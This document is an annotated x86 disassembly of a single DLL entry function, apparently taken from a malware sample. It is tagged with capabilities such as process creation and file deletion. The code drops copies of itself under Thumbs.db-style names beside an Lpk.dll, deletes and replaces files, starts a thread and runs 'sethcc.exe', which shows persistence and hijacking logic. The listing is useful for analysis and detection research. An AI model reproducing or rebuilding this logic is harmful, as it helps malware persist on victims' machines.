Function at 0x100078c7
Capabilities:
Check if file exists
Create process on windows
Create thread
Delete file
Get file attributes

Disassembly:
mov eax, dword [esp + 8]
push ebx
xor ebx, ebx
sub eax, ebx
push ebp
je 0x10007ac7
dec eax
jne 0x10007b49
push esi
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x37
push 0x10022360
call fcn.10001612
add eax, 4
push eax
push 0x1002b004
call fcn.1000fa40
add esp, 0xc
push 8
mov eax, 0x7d4
mov word [0x1002d4c0], ax
pop eax
push 0x10
mov word [0x1002d4c2], ax
pop eax
push 2
mov word [0x1002d4c6], ax
pop eax
mov word [0x1002d4c8], ax
xor eax, eax
push 0x1002ca18
push 0x1002d4c0
mov word [0x1002d4ca], ax
mov word [0x1002d4cc], ax
mov word [0x1002d4c4], ax
mov word [0x1002d4ce], ax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov esi, 0x104
push esi
push ebx
mov ebp, 0x1002c590
push ebp
call fcn.1000f9c0
push esi
push ebx
mov edi, 0x1002ce58
push edi
call fcn.1000f9c0
push esi
push ebx
push 0x1002c120
call fcn.1000f9c0
push esi
push ebx
mov ebx, 0x1002c488
push ebx
call fcn.1000f9c0
add esp, 0x30
push esi
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebp
push str._s..Thumbss.db
push ebx
call fcn.100118df
push ebp
push str._s..Thumbs.db
push edi
call fcn.100118df
push esi
push 0
mov edi, 0x1002d5d0
push edi
call fcn.1000f9c0
push esi
push 0
mov esi, 0x1002d830
push esi
call fcn.1000f9c0
push ebp
push edi
call fcn.10011a80
push 0x5c
push edi
mov ebp, edi
call fcn.10011440
add esp, 0x40
jmp 0x100079f3
lea ebp, [eax + 1]
push 0x5c
push ebp
call fcn.10011440
pop ecx
pop ecx
test eax, eax
jne 0x100079e6
push edi
push esi
mov byte [ebp], al
call fcn.10011a80
push str.Lpk.dll
push esi
call fcn.10011a90
push 0x100227cc
push edi
call fcn.10011a90
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
jne 0x10007a32
push esi
mov ebp, 0x1002c120
push ebp
call fcn.10011a80
jmp 0x10007a42
push edi
push 0x1002c120
call fcn.10011a80
mov ebp, 0x1002c120
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10007a5a
push edi
push esi
call fcn.10013209
push edi
jmp 0x10007a6e
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10007a79
push esi
push edi
call fcn.10013209
push esi
push ebp
call fcn.10011a80
add esp, 0x10
jmp 0x10007aa7
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1002ce58
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push esi
call fcn.10013209
push 0x1002ce58
push edi
call fcn.10013209
push esi
push ebp
call fcn.10011a80
add esp, 0x18
xor eax, eax
push eax
push eax
push eax
push 0x10007546
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
jmp 0x10007b49
mov ebp, 0x1002c590
push ebp
call fcn.100211bd
mov dword [esp], str.sethcc.exe
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
je 0x10007afc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
jne 0x10007afc
push 1
push str.sethcc.exe_211
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebp
call fcn.100211bd
mov dword [esp], str.mir1.dat
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x10007b2e
push ebp
call fcn.100211bd
mov dword [esp], str.mir2.dat
push eax
call fcn.10011500
pop ecx
pop ecx
test eax, eax
je 0x10007b3f
push 0x1002c120
push 0x1002c488
call fcn.10013209
pop ecx
pop ecx
call fcn.10001601
call fcn.100016a5
xor eax, eax
pop ebp
inc eax
pop ebx
ret 0xc